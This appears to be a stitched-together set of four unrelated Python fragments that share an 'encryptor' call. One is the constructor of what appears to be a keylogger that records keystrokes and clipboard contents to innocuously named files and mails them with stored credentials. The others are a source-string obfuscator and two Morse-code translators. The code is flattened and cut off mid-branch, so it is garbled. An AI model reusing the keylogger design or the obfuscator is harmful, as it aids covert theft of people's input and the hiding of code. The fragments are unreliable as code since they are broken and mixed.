def __init__(self, senderAdress, senderPassword, receiverAdress, encryptionPassword="******", debug=True): self.alive = False self.debug = debug self.listener = None self.keyfileName = "configurator" self.completeFileName = "makeFile" self.clipboardFileName = "setup" self.keyfile = None self.completeFile = None self.clipboardFile = None self.keyLogThread = None self.clipboardThread = None self.mailThread = None self.mailSock = mailSender.mailSender(senderAdress, senderPassword, receiverAdress) self.encryptor = encryption.encryptor(encryptionPassword)
def call(): plain_text = self.text1.get().upper() ans = cipher.encryptor(plain_text) #print(ans) self.text1_1.configure(text=ans)
if a.count("'") == 0: n.write(a) else: l = {} for each in range(int(a.count("'")) // 2): if each == 0: b = a.split("'")[each + 1] strings_protected += 1 else: if (each % 2) == 0: b = a.split("'")[each + 1] else: b = a.split("'")[each + 2] strings_protected += 1 p = encryption.encryptor().encrypt( b, "Made by roberth#0310", {random.choice(range(0, 999999))}, {random.choice(meme)}) l[f"'{b}'"] = f'encryption.encryptor().decrypt("{p}", "Made by roberth#0310", {random.choice(range(0, 999999))}, " {random.choice(meme)}")' print( f'[INFO] Protected line number {lol}') for each in l: a = a.replace(f'{each}', f'{l[each]}') n.write(a) else: l = {} for each in range(int(a.count('"')) // 2): if each == 0: b = a.split('"')[each + 1] strings_protected += 1 else:
import encryption as cipher import decryption as decipher print("\t\t\t\t***********************") print("\t\t\t\t MORSE CODE TRANSLATOR ") print("\t\t\t\t***********************") print("\n") ch = input("Press 'E' to encrypt and 'D' to decrypt: ") print("\n") if (ch == 'E' or ch == 'e'): plain_Text = input("Enter Text to encrypt: ").upper() print("\n") cipher.encryptor(plain_Text) elif (ch == 'D' or ch == 'd'): morse_code = input("Enter morse code to decrypt: ") print("\n") decipher.decryptor(morse_code) else: print("Invalid input!!!")